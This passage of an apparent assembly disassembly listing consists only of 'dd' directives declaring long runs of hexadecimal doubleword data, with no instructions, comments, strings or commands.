		dd 8E25AEEDh, 9DF6280Bh, 427A710Eh, 75EA4960h, 2C6E9F9h
		dd 900A8B0Dh, 465AF066h, 0CD4E997Ch, 0C09361CEh, 0E81B359Ch
		dd 0F4512AAh, 67183B7h,	45866E48h, 0EF154D4Bh, 36097ACFh
		dd 4E82BA3Ah, 5929B163h, 0E3C3109Dh, 0BED0CB1h,	6A20E220h
		dd 2A32AFC2h, 0D94E5D18h, 60258116h, 0E3F168Eh,	172C838Eh
		dd 0AF8E4A2h, 829A8E88h, 0B247B4FCh, 4AC9D198h,	0F3825AC2h
		dd 4A48CFEDh, 4D5F5F23h, 1E7CA21Fh, 0B9DC9C4Ch,	0CD25AE79h
		dd 70306F36h, 3FC61E9Dh, 633A03A3h, 10C05EB3h, 0CAFDCAE8h
		dd 0D56C54BBh, 0B57006F2h, 0E7C35462h, 6BC463F0h, 3E877CF7h
		dd 0E4813331h, 0E8C05E1Ah, 4E1FA5C3h, 4FA9D1E2h, 7D0F71A9h
		dd 92941128h, 3CACE832h, 0C6CD8B29h, 27260B84h,	0E7581ADAh
		dd 5A22AEBFh, 9452D75Eh, 0A6D73347h, 8E79DB8Bh,	0EC6B387h
		dd 0C4F167C6h, 4DBCF267h, 379690B1h, 4121CC4Fh,	81AA71D1h
		dd 5A72C837h, 0C8F45122h, 4FF09037h, 6E4D0A3Ah,	1649DDE2h
		dd 0DE86337h, 8F7C732Bh, 3D56D013h, 0F4D483EFh,	0F76D85BBh
		dd 6A732389h, 7E8715E5h, 0EBD8BA17h, 0EAD46F1Bh, 0F3050B0Ch
		dd 0C4970AB1h, 46F65003h, 312B3FF9h, 8739702Bh,	96BEC11Ch
		dd 961A13BFh, 166370B4h, 9757EF77h, 0BFA7C74Dh,	94B1C3D3h
		dd 0A06F0172h, 4A4A5A1h, 26CAD9BCh, 0CE703802h,	0BEEC44A8h
		dd 0B5D98AECh, 0C042BB34h, 0C8C6887Bh, 234B4782h, 83CA2661h
		dd 0F6E87902h, 7B5D3BE3h, 5F77B1DDh, 0F15087B9h, 9ACD0946h
		dd 4ADF0F74h, 5570021Dh, 3DA6B22Dh, 29BE0E1Eh, 0D26B108Eh
		dd 0E50B1991h, 0E35077F3h, 3DB06CACh, 2D003B06h, 0E309ADA6h
		dd 6151C2BDh, 1DDB2973h, 39DDB81Ah, 0B71F84BDh,	1EDB699h
		dd 59670A98h, 9804EAD6h, 149BE920h, 0F740A1CFh,	0FA7EE321h
		dd 998E5752h, 694A44B2h, 0B524414Bh, 0D236419Ch, 5F22BED0h
		dd 5CA58320h, 9CCB1DF5h, 65A97ED5h, 0C5AB9134h,	1903BFCDh
		dd 0CCBC880h, 30F9632h,	0EFBBFAB5h, 9712C4F0h, 4FCB7981h
		dd 31526373h, 64B9AB67h, 12BEDA7Fh, 713DF945h, 75A785A6h
		dd 335A9DC7h, 27D8D3DDh, 4AE974FEh, 508F703Dh, 5D989C2Fh
		dd 9BAD7305h, 1203B2Eh,	8D7F9875h, 7063D23Fh, 12CF733Dh
		dd 0DB68F5E9h, 28CACEA6h, 8CF68CC8h, 52C41EFFh,	73B32C97h
		dd 3C47138Eh, 9A198AD8h, 0BFB0824Ah, 0FB4D392Eh, 0D1D0F6D3h
		dd 10A8E4C5h, 33D64C7Dh, 2B1BC1B0h, 5BF0D240h, 0AFC1F47h
		dd 0C8587C5Eh, 25704DC4h, 0D99DC8D2h, 0C1A7AEEBh, 0CCA3E903h
		dd 7D9E1476h, 0E8871DABh, 0A7C7E2B4h, 222B3A78h, 5A9236A6h
		dd 0D4D1DCB5h, 1DA4E7FBh, 0E00BE81Fh, 0A4A91ACh, 0BF97CD3Fh
		dd 0D3BCE62Ch, 3DA1A0ABh, 0DA88DDBCh, 9F072EE6h, 5E5EF0D1h
		dd 0B9A7AFh, 51166950h,	0CD21B24Ah, 0CE43CE6Ah,	5FD1F7C7h
		dd 4319E2EEh, 0C737C247h, 4C7624A3h, 0B24315E8h, 0D540B79Bh
		dd 2D288D4Bh, 9BCDA992h, 157BE03Bh, 842256F7h, 77954D3h
		dd 0AD451BD8h, 13E9D8F5h, 0B254CA0Bh, 0BB6A1C31h, 5515E6E4h
		dd 6DB76FA3h, 0AFB9BACFh, 256C9543h, 0FFC52AFAh, 0AD6641ADh
		dd 0D93C8743h, 0A170ECC4h, 95463948h, 86E94AF7h, 29386A38h
		dd 57E395F4h, 6F34B98Ah, 62A19739h, 0B0721A07h,	63366163h
		dd 98696936h, 3BA9AE8Eh, 77A28D5Bh, 13C1A254h, 8AF96325h
		dd 0B84E8733h, 0BFD379B0h, 51AEAAF9h, 3B11DCC1h, 0BF120521h
		dd 8C8AB30Bh, 9A219E5Dh, 0F0E032FCh, 0DC9C47D9h, 6D885E4h
		dd 0F8E0077Ah, 6645634Fh, 0B595BFEEh, 0BBD7EC97h, 84BB5CA8h
		dd 20A2B6C7h, 0FAAE23BBh, 7287B098h, 6C67A628h,	0B4AC90BCh
		dd 0BEE015A1h, 0F3B520ABh, 4D3B8DD5h, 0D9861370h, 92047D0Bh
		dd 0E048604Bh, 98D7EFh,	386E3D37h, 0D5D27D82h, 68D7208h
		dd 951BF330h, 1F4DFE4Dh, 0CF6EA18Bh, 0FA264DB1h, 0D9AEEADAh
		dd 173FCCC0h, 1F46E66Bh, 0FDF22F69h, 634A5A1Ah,	4115BB1Bh
		dd 0FB34B96h, 252C2CF9h, 3764BB6Fh, 35A7DA52h, 266B24E9h
		dd 3019489Eh, 4991914h,	0A34F4A67h, 8D479686h, 0B21928D0h
		dd 0E7865C26h, 48B33926h, 0DFA5CD82h, 7B3EAC79h, 0AC0D8CE3h
		dd 35D027EAh, 4EB52764h, 0B56D96F9h, 22E3CC93h,	0AF0C2B3Dh
		dd 7C394CA5h, 26B95AA9h, 27518B03h, 0D2C79879h,	4A76275Dh
		dd 0EDB1E835h, 0CC8F0FA7h, 0FCFCD0D9h, 2E107566h, 4DCA89D7h
		dd 0DCFD2EEFh, 96BD360h, 5DB76ACh, 749BA9Ch, 178F9F88h
		dd 1C963C67h, 0DF3019ADh, 103ED95Fh, 2A67B780h,	3565C2FDh
		dd 67E3E424h, 18A8F73h,	848FC435h, 65679ADAh, 0D964D07Fh
		dd 1F027FDDh, 0FAD2F7B1h, 0D72AF234h, 0E53C0EB1h, 0BE9F753Bh
		dd 4CE83BB7h, 37200B11h, 0F9871ECEh, 0FBBA5B5Dh, 20B3D25Eh
		dd 159AD901h, 0EC86ACEFh, 415AF86Bh, 38F91A82h,	0BDE9E0ABh
		dd 0DC52C8A6h, 77C3885h, 5EE1CBFCh, 2DB34E1Dh, 0A420DB01h
		dd 0B7B71B85h, 1EBF100Ah
		dd 9AB09D60h, 0F89D50B9h, 75573130h, 85BF43D3h,	0F44A2E00h
		dd 0A8824E05h, 5FDBC908h, 5E577A4h, 46724291h, 9BC3C406h
		dd 0D9BAE5E7h, 1D2B89FCh, 0D854AF21h, 0E12AF7C3h, 0D5E9DCA3h
		dd 0D1D509EDh, 0B8E061BFh, 0EC3F1565h, 0F60046E5h, 0A02520FBh
		dd 67CD5E77h, 4BBBD046h, 0C48A009Bh, 0CBCE45FBh, 0D7B3D474h
		dd 3A4A4C0Dh, 346EA9A5h, 0CA4C2B57h, 0BF5A4D27h, 0A7F9C794h
		dd 1C80F806h, 0D70AB415h, 1999EF82h, 0D055C61Dh, 53862BB1h
		dd 858BB372h, 65BFC07Fh, 0C545F808h, 0BFC176EDh, 99A6BD3Fh
		dd 9C235AEEh, 1A2E8CD8h, 0FCD0BC91h, 41955A7Eh,	5FB674AFh
		dd 4B0CDD9Fh, 5760DFB4h, 300F3730h, 0BE266320h,	63285849h
		dd 0CE1F716Ah, 68F3DEE3h, 0C42B64D8h, 0E98C7128h, 6FCBAC50h
		dd 0D2B1FA1Ah, 12F1662Eh, 0EBD5DD50h, 0FAE3B5ABh, 0F4E9F661h
		dd 56C2473Fh, 0D39381BCh, 0F0DBEEC6h, 0E6B9A3DAh, 32553BADh
		dd 174BD064h, 4EEAB8BBh, 98CBB8C1h, 4A72D014h, 76F5755h
		dd 9D725852h, 5703AA84h, 93A9D90Ch, 0F51A8C56h,	46D003E6h
		dd 0DA5EF4F1h, 0C0CEDB9Ch, 5B3DBE51h, 46662EEEh, 7F77ABDCh
		dd 45968F68h, 0DE7274F0h, 0B569EBAAh, 8B87E8DEh, 0E37AC772h
		dd 65E77B63h, 8DAF113Fh, 0D4F749F2h, 0C2B529F9h, 87BD625Bh
		dd 1120A6CCh, 0E351CCA3h, 5F82DF91h, 0BCAA0EFDh, 0E6E28B7Eh
		dd 0ADF694A8h, 0FC9C463Dh, 7F967942h, 0B308D313h, 7B77D23Ch
		dd 4DC04AECh, 54054757h, 816D1F9h, 0F9E8E2F8h, 0E22F9500h
		dd 24EAABCEh, 3A3976C1h, 444BD47Dh, 8628670Eh, 5BE015B4h
		dd 399AEE0Bh, 9ABF812Bh, 0B6E8DD9Fh, 0F5E376D4h, 7E05AF32h
		dd 0CD0F47F1h, 1700EE7Eh, 69D3830h, 999253BAh, 86FCF727h
		dd 0F2049Ch, 599FEF48h,	0CEB6FB5Dh, 2B15A3A4h, 9DF97316h
		dd 0BC66B551h, 0C510E6B1h, 23F017C9h, 0C9307ACEh, 0FF85C0B4h
		dd 55809783h, 7C62C43Ah, 0FE6F7CBAh, 5995CDAAh,	0D1EA928Ch
		dd 68BDCB85h, 0A4E39B5Fh, 1EBAE173h, 9CA11044h,	78AD69EDh
		dd 87309E2h, 2511DC0Ch,	3502B63Ch, 0C4F8E6A4h, 0FDDBAAB8h
		dd 8500F1AFh, 96A8FB2Ch, 0BEBC6AB3h, 171B1118h,	0B0D5C171h
		dd 0F20FC5Dh, 0A8F8B558h, 0AE35F435h, 6A8F6A8Fh, 0AD82FEA9h
		dd 0CB05319Ah, 7D498C3Dh, 0FDBA0020h, 0DF962F55h, 89FAFB0h
		dd 64349EAFh, 92D8FB1Bh, 68FEF8E4h, 9840C236h, 1D055BC4h
		dd 7464F1DDh, 0AAFB476Dh, 0BD64CD79h, 18DBB7C6h, 40919FD8h
		dd 0DCD39EDEh, 0A88A5583h, 0F24C7BC5h, 0AB5CD6BFh, 0EC92576Bh
		dd 55F6D66Eh, 0A4106C5Bh, 0BCA300Fh, 0FDD4D16h,	0C267530Fh
		dd 6C52B2DDh, 4CAAE07h,	7111FE5Bh, 5718BD85h, 0EAE255BCh
		dd 366DC735h, 454FF800h, 9680C2FFh, 54DF5639h, 0B4EAA452h
		dd 0E054BAC8h, 0C483A725h, 425F526Ah, 38E6D0EFh, 0C16B9513h
		dd 0FC9D1C5Eh, 0ADE9D58Fh, 0B2CEE07Dh, 0C03605DBh, 0D79F3966h
		dd 0DCE17AB6h, 84E639AAh, 49C0F27Eh, 0CF4578D2h, 2F0793D9h
		dd 5AD73341h, 4C2BA8DFh, 8577C880h, 47D99D51h, 0A56BB1F4h
		dd 14962AB9h, 1E16251Dh, 462FC294h, 634DD8AEh, 0A2FA8CFAh
		dd 0B4FC7AA1h, 0C655A05Dh, 230CE5A6h, 0A3419710h, 0E7DE7FAh
		dd 2ED8E63Ah, 2F1B5F35h, 91055286h, 7AF3320Dh, 0C933E73h
		dd 76447E9Ch, 5EFDF969h, 0F0665774h, 720789Eh, 0FCA4A4Eh
		dd 3CFB73B5h, 92E969A6h, 37AE920Dh, 66D50EECh, 66183EFBh
		dd 0A153EEF7h, 631EF2E1h, 0C3E324BFh, 6BCA24EBh, 68237A5Ch
		dd 9BF77A69h, 342A0571h, 72814B38h, 19230B1Ch, 1097CF3Bh
		dd 84224468h, 523DC4BAh, 4E592B3Dh, 6EB6C876h, 23F203D5h
		dd 0E05BEEC6h, 0B5281919h, 94BAB59h, 1F388744h,	0F91C8045h
		dd 0F8430E4h, 2C0B18E9h, 0FA8FF596h, 43134153h,	228A3794h
		dd 4BD4B751h, 5F01BCC7h, 581ED693h, 794ED5A3h, 0B6987E21h
		dd 8277F5BFh, 45C1F557h, 0D91B0FDEh, 0B67BD773h, 0C0BB21FDh
		dd 0F2173E7Dh, 0A15DC2Dh, 59B85CFh, 6B13944Bh, 65C681C6h
		dd 4CB31FCCh, 0BC82C798h, 0A5859509h, 2F936679h, 0FB0133EBh
		dd 9FB5C883h, 70E54E33h, 0EFE4DADAh, 0C8FFE825h, 14355568h
		dd 48825CFEh, 0A62EC7E3h, 0D57DD8BDh, 0E80F4865h, 9FE6D912h
		dd 228D96B2h, 236F4F86h, 5825FECDh, 4B9FE5D0h, 0C196E886h
		dd 0C7DB3E68h, 0C9E091CBh, 834909D7h, 0F509550Bh, 297D8B38h
		dd 579ADEFAh, 4CFB9292h, 0C5EF18C6h, 14D8FE9Ch,	0E07CEA3Dh
		dd 98CD3115h, 0E3C13EEh, 0A6DCAA56h, 586812F5h,	27CE6C59h
		dd 62AD7876h, 596EA0F2h, 0CDBF13Ch, 0ABAE5F2Ch,	0FB9C7DD0h
		dd 2ACC594Ah, 5A898086h, 0F756EC54h, 912536Ch, 0D8AC0FBh
		dd 88748AAh, 0F8C3427Dh, 99D652A1h, 5C125E0Ah, 0B6F3F3FFh
		dd 41696792h, 67BE56BCh, 0C38FD74Ch, 95B78D7Eh,	0F5F87377h
		dd 24E1AD1Bh, 7496C6A8h, 61EA5C5h, 0B327B7EDh, 44B5D933h
		dd 0E7B55719h, 7C1C1CF5h, 0E6C6127Eh, 0F05AD684h, 92241AF6h
		dd 3F248A7h, 663C16B4h,	647B60A2h, 0DA12FF92h, 0FFB9C1A3h
		dd 0FBC482EEh, 9BB0DF4Eh, 0C9045D09h, 79EB6565h, 7563FFFBh
		dd 5C94626Bh, 0CC2A9EDCh, 1612852Bh, 16916C48h,	6921921Ah
		dd 0B8D7CE60h, 3D0E5EA8h, 2C28229h, 646A2F2Bh, 0C3671C8Bh
		dd 0F7C9E1CDh, 77BF37F0h, 3672385Bh, 28098DBCh,	0FB54E4B1h
		dd 3D749F61h, 0FEA3CF60h, 0B09B3E64h, 271A3D3Bh, 14E0B773h
		dd 19E5877Fh, 0ECC63206h, 0DD166A02h, 2AD70498h, 0ABDC7587h
		dd 0F5E54661h, 0D5600BB6h, 7908F6B5h, 0CD02AEC9h, 0DCEB2E4h
		dd 0C01B5A0Dh, 24C6D89Dh, 5400AACEh, 2BE6C259h,	0C0CF7CD6h
		dd 0C0075ADCh, 3EC2FFF7h, 0ED88BA5Fh, 66592998h, 7FE62B38h
		dd 2875D1E4h, 2EEE03B5h, 76AC4B03h, 0FDF529E3h,	841889F1h
		dd 0AF82580Fh, 18A92D85h, 0E6D0B83Bh, 0F7D8AF10h, 0CF5EE61Fh
		dd 9EB21085h, 24953D48h, 0FCE120ABh, 0B4A58C89h, 857769CCh
		dd 18A225EDh, 7CDAAFB4h, 3F03EB93h, 4AD465D8h, 4E534422h
		dd 400D4DB2h, 0C038D17Fh, 0CE892C23h, 0D28F33ADh, 4EBECC7Bh
		dd 0CE26C94h, 0E8B2A62Eh, 0A82CEF83h, 3325C376h, 784212A6h
		dd 25AE748Bh, 6FC666DCh, 5536A313h, 488D1026h, 9C6DEC84h
		dd 7E401270h, 0D4A29884h, 8A7049CAh, 0DDF20C5h,	15BF8D2Ah
		dd 72A22BC9h, 4F59AE03h, 29FD1CD9h, 8D3DBAE6h, 47933F17h
		dd 0F887734Eh, 0F71FF95Ah, 0AC6A0481h, 8CF37807h, 0AF82435Dh
		dd 216604ECh, 0F2F1AE41h, 47E4FDC7h, 556151A9h,	32FEB733h
		dd 64071C1Bh, 208DD2D6h, 0DB95FF60h, 1804BDBh, 0F5EAE9FCh
		dd 925D991Fh, 0ECBD6545h, 0CE587B24h, 0A9618F3Bh, 0E16AC3CDh
		dd 93FAD6F0h, 0ACBD67B0h, 49154B60h, 62D22136h,	8BC5209Ch
		dd 0D32B5B27h, 0B349F9FDh, 7E271AACh, 6BC57690h, 898A73E1h
		dd 62EBF8AEh, 71DF8225h, 0B7C1858Dh, 0D64ED224h, 58D49A7Bh
		dd 0E4750493h, 49C428B5h, 1CB1C652h, 3A04FD9h, 2D4C5DB7h
		dd 7AF6C92Eh, 2395AF92h, 0F1E89771h, 4BB332EBh,	5C79484Ah
		dd 900C7C4h, 74E36A71h,	0FA78AAE0h, 37D69DF2h, 0D068BFh
		dd 0E161A283h, 2677605Ch, 0BFC453CBh, 79880861h, 61B2996h
		dd 921DF6CEh, 39FFEA77h, 984DA710h, 9A187434h, 0E1BCAF69h
		dd 4341D1B2h, 0F09985BEh, 9B090EE2h, 26944DEAh,	0A2838792h
		dd 1818A807h, 5BA68A00h, 0E9CA58Dh, 5AF5044Ah, 5F757EC4h
		dd 7B69A44Fh, 69C113Fh,	3D05D1E9h, 0A7F19C50h, 9B477908h
		dd 0FC199DF6h, 0C318F8Eh
		dd 0AE89ED15h, 0E99A08DEh, 4A81ABFFh, 923375ABh, 68A9915Fh
		dd 5D5692ACh, 0BBCA58BBh, 66C7D3FFh, 0FAD001ECh, 0BD932120h
		dd 0BB1FB918h, 0F29F761Dh, 968C4ED0h, 0F16B1B40h, 3DC87CF9h
		dd 80C34068h, 0ACF9C2E5h, 0E6DA7045h, 0FD26894Ah, 0A8439F4Bh
		dd 0D676AF83h, 0E77CD29Ch, 0D73F4E7Eh, 38F71F10h, 73B5981Ah
		dd 0CBED10B3h, 0B1B9826Ah, 0F4635F57h, 617CF867h, 0D73EEDB6h
		dd 12A00CEh, 0CD8F7895h, 0CAC92A5Dh, 2DC7B363h,	0C338C66Ch
		dd 43722D7Dh, 71F26E30h, 7F078268h, 0D16BFD0Fh,	0D3965704h
		dd 522F7446h, 550B19EDh, 812D59FEh, 1554D267h, 0B834F39Bh
		dd 0CB19A96Ah, 0B176C840h, 0F5B22D6Ah, 0A877B1DAh, 79D2AC04h
		dd 744AAFEAh, 327CCE91h, 7558CCD2h, 1E6B2271h, 3CB1005Dh
		dd 0E7C39948h, 0D11B19DBh, 0C663B421h, 2AAC2D05h, 62FC52FBh
		dd 2F955B83h, 650E0397h, 26D91F91h, 75E36523h, 115AB64Eh
		dd 991BC529h, 6D185A05h, 7F48D278h, 5929AF9Eh, 10B3D1D8h
		dd 1BDC81EEh, 0E379DBC9h, 0C35C636Ch, 0D054C559h, 0CCB1DF93h
		dd 5D261D28h, 40E37916h, 0C215950Ch, 3287C696h,	4015F2BDh
		dd 0DC8F2208h, 0C9D8123Ah, 0A0E29C1Fh, 0BB7FB45Fh, 2FF64B53h
		dd 0AB68DF9h, 9E182381h, 994E9521h, 0CC1A4614h,	98C37B0Dh
		dd 799866B2h, 1A9F0480h, 0AED2798Ch, 424A04B9h,	0B4D3280Dh
		dd 38340DCAh, 64FC4B93h, 0A0B0A632h, 16AA88Ch, 0ECE7523Bh
		dd 0D7649E42h, 51D6BB64h, 0F4618E7Eh, 0AA472B22h, 0A853FCDEh
		dd 0F67EA9F5h, 90465FF0h, 0BDE7488Eh, 0E6432528h, 7F78A8CFh
		dd 8F47EE5Dh, 6775D9D7h, 991D739Fh, 0F75C6CD5h,	8185C770h
		dd 0AB568EFEh, 5064D377h, 62B282BDh, 71A1D7F1h,	875FCDCBh
		dd 10438830h, 30159249h, 0B9837B09h, 0D5CB6810h, 1159B17Bh
		dd 0F2068D4Fh, 0AB4DA9Eh, 0AE83B550h, 0CCA4ADEAh, 9329C188h
		dd 0A206B4FCh, 0C02052A8h, 0AD62A0Bh, 0F737165Bh, 0F9CF9072h
		dd 3A35461Fh, 0B8C82605h, 0DE37094h, 0CF9B1A8Bh, 85DA47D1h
		dd 0B3BFBF4Eh, 7EADBEF4h, 0C5E6A8B3h, 5972170Bh, 3815F8C3h
		dd 0FFD06847h, 0E2B17528h, 3FE88AB6h, 0B7633A50h, 0AC4C1CA2h
		dd 897B2BAAh, 382D080Fh, 0C6842838h, 164CFB96h,	9571E2FBh
		dd 0D4C964DFh, 0FCCB8912h, 0AD2CEFA6h, 5C8F76ACh, 0A4C5AD4Bh
		dd 2BFA3F83h, 0CFD5453h, 0CFE86AFEh, 0FB26C413h, 96B0DCF5h
		dd 45EAE7C8h, 0CD414944h, 766DABEDh, 0AB713A8Bh, 364234EEh
		dd 78DF779Dh, 2ABAB789h, 6E155263h, 310B0481h, 0EDE88542h
		dd 3737667Fh, 39D18B0Bh, 127B8E4h, 0D568503Fh, 6D90BBB6h
		dd 0C413EACDh, 0B9F00FA5h, 0B6021737h, 0D9A992A0h, 0DA8D2ECBh
		dd 0DC5EDD73h, 0B3D3705Ch, 0B90173B3h, 0A2C326EEh, 0EB55F72Bh
		dd 85F49C63h, 0ECFBD7A7h, 0BF7270F8h, 0B1A16955h, 0E97E349h
		dd 0BDEB0348h, 0B268E121h, 2369183Eh, 0B159A91h, 0DE35EEBCh
		dd 8A51B9D6h, 2D7F09D5h, 32723AABh, 0DF458CA1h,	50BE60E9h
		dd 3D3B09B5h, 0D23E0EEAh, 66DF5DB7h, 596E534Bh,	5ECCB72Ah
		dd 6936E93Fh, 841F2736h, 2757813Bh, 0D29AC0A6h,	0C991C38Eh
		dd 6D3C1582h, 55D7DCA4h, 0DC5FC524h, 0D7B7F83Fh, 30C91F20h
		dd 0F9D34969h, 0C720ADE8h, 9584FD3Ah, 1D40D92Eh, 0A47604C7h
		dd 632FD725h, 0E2AA184Dh, 0E86679F8h, 3B2B3AC9h, 52A7DB75h
		dd 2CA5AFDh, 32EC7F19h,	0A7B2919Fh, 8BB0D88Bh, 0D6772CF3h
		dd 6113D998h, 0B0AA1E74h, 0E0265A38h, 75BDA70Bh, 0C3635297h
		dd 6187706Ch, 2D3F8D6h,	2F458DFBh, 69036A82h, 3B977956h
		dd 6D3A87FBh, 0C3C9F50Eh, 0BF9C79C3h, 38DE5CFAh, 9B0A9BAh
		dd 95B9C311h, 0E4066917h, 25FC9296h, 0DD95FC27h, 7FCA9FF7h
		dd 48AEBAB6h, 4DF94249h, 0C94BE1C1h, 0A90ED63Ah, 0C7B42018h
		dd 3E11BF15h, 773EC737h, 3507B0DEh, 0E7201B77h,	82223E13h
		dd 966F1C47h, 1CDF2F7Ah, 89CBF829h, 35E6E759h, 8DCCB892h
		dd 889670F5h, 7A69A05Bh, 0B45724AFh, 159B0873h,	9FD101ADh
		dd 32EB1914h, 9CF6EF56h, 437420EEh, 6D558780h, 74ECA382h
		dd 0B7E38468h, 0D1F05CC5h, 1D0D2B78h, 0F17A37Bh, 0D1D413F1h
		dd 0AE812D0Ah, 0D1822F9Fh, 2E3DC1E5h, 3694ED69h, 200E663h
		dd 0E6F63EDFh, 4B95EF2Dh, 0D6938835h, 5829ED3Bh, 27B1E415h
		dd 4A98C280h, 0B0B4B172h, 0FC1C601Ch, 30867371h, 9C5A7D5h
		dd 1A3274C9h, 1416F25Ch, 0D7511515h, 6E9FCCCAh,	983296B6h
		dd 72D1A490h, 5087B178h, 3B18621Ch, 0D8577CECh,	61678265h
		dd 0D73AF9A1h, 3C07D1CCh, 6E2C5372h, 0EA244AE9h, 0B4236EA5h
		dd 29CF2E69h, 9BFE93DBh, 8AEAA2EDh, 46F2B2D0h, 154CEB73h
		dd 0A9C71272h, 8034F706h, 0A280F9B3h, 0DDFD59E2h, 0DA6C93A9h
		dd 0D868CEB3h, 0E07DA171h, 670ABEDCh, 0B9995B13h, 10999CE0h
		dd 6A01300Ah, 0EA5F0F74h, 9F0E752Eh, 3E50C421h,	6D37E3F6h
		dd 33499FF5h, 10A5A263h, 0D4CE7E25h, 60278CC9h,	6259032Dh
		dd 0D74E85E8h, 0A1669113h, 0F816B7EDh, 26033160h, 6DA39359h
		dd 68C17FE2h, 4CB567D2h, 1E0B1932h, 1ADC9D19h, 72A1E8A7h
		dd 0A7FB13Dh, 0D88DC645h, 14785E8Dh, 407B4807h,	0E4E65992h
		dd 51F856F4h, 0E025E1B9h, 52E512D4h, 0A6261D95h, 5A49B08Bh
		dd 9B2C3E7Bh, 5D342C3Ah, 5AE94476h, 4383312Bh, 8384003Ah
		dd 0FBAF447Ch, 0FD8A7628h, 0A1FC494Eh, 8AE88E44h, 6D06280Ah
		dd 9387490Ch, 0AE937877h, 0CE931795h, 297779D2h, 0B8E5E86Dh
		dd 38E897Bh, 0CCCD058Eh, 8A750C2Bh, 7149B519h, 2CF3D570h
		dd 22E2F2EEh, 4D232637h, 0E82E060Fh, 6D39C189h,	3AEF67Ah
		dd 6786FB76h, 162C9B8Eh, 51E17347h, 3F30D988h, 0DFD0FC69h
		dd 141466B4h, 0F0E9A2D4h, 9D221336h, 8D835D24h,	673BA896h
		dd 4A09C326h, 27DB5B45h, 0CAC1F76Ch, 0CF42D93Eh, 2B3A25FFh
		dd 8AACFDE9h, 0FBE0DB45h, 3B2A0814h, 977C8690h,	0BA70B4FDh
		dd 8A188F35h, 6FD3E441h, 58C7F15h, 2B0725B0h, 887B9491h
		dd 0EB7C4607h, 7CDDC8DDh, 9E025E21h, 85B6EC6Ah,	37F792F8h
		dd 551A5F33h, 5AEF9118h, 66DFC03Dh, 0F59464B6h,	4D6C2AABh
		dd 6B3795DBh, 3AE708B2h, 20D5BCBFh, 0B686D55Dh,	8C25732Ah
		dd 0E3A8F38Bh, 0B7807F3Bh, 0DBD31700h, 0DA84EF0Ah, 9F097E59h
		dd 0F68992C3h, 0D2FEAAB2h, 7032F1F1h, 0EE09327Bh, 5172F764h
		dd 5986CF0Eh, 3EC52D2Dh, 76517CD4h, 0D33935A7h,	6F9A96F4h
		dd 2B2E6F52h, 1B94CBDDh, 6D6D2252h, 49DFA7CCh, 0FB91284Fh
		dd 0D823D0E0h, 240A21BEh, 0E0F08A02h, 0A502B1A7h, 5FFDEF59h
		dd 0FF0DB102h, 600F776Ah, 0A9F6C3B1h, 0BD5D2163h, 9F2528F9h
		dd 0B3ED699Ch, 2E99E865h, 4CF82A82h, 1BBE4E08h,	13E07427h
		dd 61B9383Dh, 11973988h, 4F7CFC8Ch, 0A26B4C16h,	0EA9D5C17h
		dd 0AECB262h, 50B50D97h, 0EB56A2BDh, 0CFE141Bh,	15FDB4E9h
		dd 99E1C7D4h, 560EB3Bh,	67BF8C8Fh, 4563A6CEh, 537995E7h
		dd 37FAC4E1h, 0D284C690h, 0AA4BDD14h, 3E0C44A9h, 0E21CBE03h
		dd 2488BF62h, 0B8636E26h, 48143786h, 0C95C6581h, 0CEA2A5BDh
		dd 0C4963DC1h, 1DBF0130h, 0B32E30E4h, 6DEB5D25h, 0FBBFCFBh
		dd 0B744B616h, 4C33BEB3h, 4CF78E46h, 8FEF420Ah,	0A6C034E6h
		dd 0E23B1271h, 4139DA59h, 0AB83D159h, 8C473E65h, 0D4FF5928h
		dd 5475A652h, 45C90373h, 3736C27h, 0CABD5A93h, 45E71FC2h
		dd 0C16625F5h, 87CE6C34h, 0EC2E6E42h, 592C132Ah, 1DCE8659h
		dd 0D2854613h, 8A9C9A87h
		dd 0C47BB1B8h, 5C904881h, 9E5BBCFBh, 64720844h,	6AB264B8h
		dd 0DB44AE15h, 0EE87E636h, 1EC13DEh, 4DE596A1h,	0BC1B7CAAh
		dd 2E9F4BAFh, 0FDD6FE9Fh, 5012BCD3h, 65188388h,	0BC3062C3h
		dd 33FD02B5h, 1F1E454Ch, 78ECF118h, 743EE689h, 9B8C64C9h
		dd 4A91B237h, 0E3D51D45h, 155BD3C5h, 8B3F65A2h,	8DA38178h
		dd 2EE0965Ah, 60EE6FDh,	5B1D048Ah, 4903C805h, 0A4B289CEh
		dd 0B48DB0D9h, 0C1BDCF39h, 0FE56BF76h, 0ACED464Ch, 0D6013C02h
		dd 0E137953Bh, 9FBF1BAEh, 589E3D9Ah, 4FAFF545h,	60F32836h
		dd 252E16D2h, 0A2C3031Fh, 0C63043A8h, 0B60D4FC7h, 0FC5CE683h
		dd 0D197FC3Dh, 45D737C2h, 566167A6h, 6FDA9911h,	0FD7D1F32h
		dd 0DE34836Eh, 1E6A021Ah, 0CF7E94B9h, 0B877CB37h, 62025926h
		dd 0D54AF25Ch, 61F1B42Bh, 967A1AF9h, 9192567Ch,	0E4B17AF0h
		dd 773FC5BBh, 82B0E078h, 0E6ED8AFh, 847CD3Bh, 0DC01EEEDh
		dd 0C432B623h, 298DAB46h, 7E39C253h, 392CB41Eh,	0C579C9E1h
		dd 1BB1273Dh, 2E65450Ah, 257A737Ch, 3476B7CCh, 4C646DFCh
		dd 34C20E5Ah, 799D2E33h, 3AAB490h, 0B8B4DB62h, 68A89F89h
		dd 0DF45088Dh, 0D6962655h, 9567CA1Ah, 0BFDF0AF9h, 26B7147Fh
		dd 9ED7AB21h, 51CAA8A1h, 0C0FB8E68h, 510FAEB4h,	586CF6F2h
		dd 28F5CAE4h, 0D763647Eh, 87DDBF47h, 2E3F16D3h,	5574D405h
		dd 425B1E0h, 44368FE1h,	3993D5F1h, 1FFD4909h, 5EF301D1h
		dd 12715E84h, 214C7F3Bh, 0BAD17C1Bh, 83239D4Bh,	4467B17Eh
		dd 2770551Ah, 0A4A2672Eh, 0BB446A64h, 78239255h, 832D09D1h
		dd 5DFD476Ah, 3F47FB75h, 52B612BCh, 14BDF5B5h, 3516120Ah
		dd 0A2A681EFh, 7BCA15B4h, 0BC8C6D79h, 6507B6E4h, 663E295Dh
		dd 766FD3B9h, 0FE480749h, 831C6639h, 239FFF24h,	0AA426221h
		dd 174F26E1h, 0F37ACE1Bh, 2EF7EA2Fh, 269C5BDAh,	4C8623F8h
		dd 0B11474Eh, 0D9E07ED6h, 6EB229E4h, 8D7097AFh,	5DCF5F4Fh
		dd 8EC22C2Fh, 0C80112E9h, 490A1F88h, 0E8BF7595h, 0EA2E0630h
		dd 69131E6Bh, 8F81488Ch, 0C6AF0BC0h, 1660A4CAh,	0C7FB50C4h
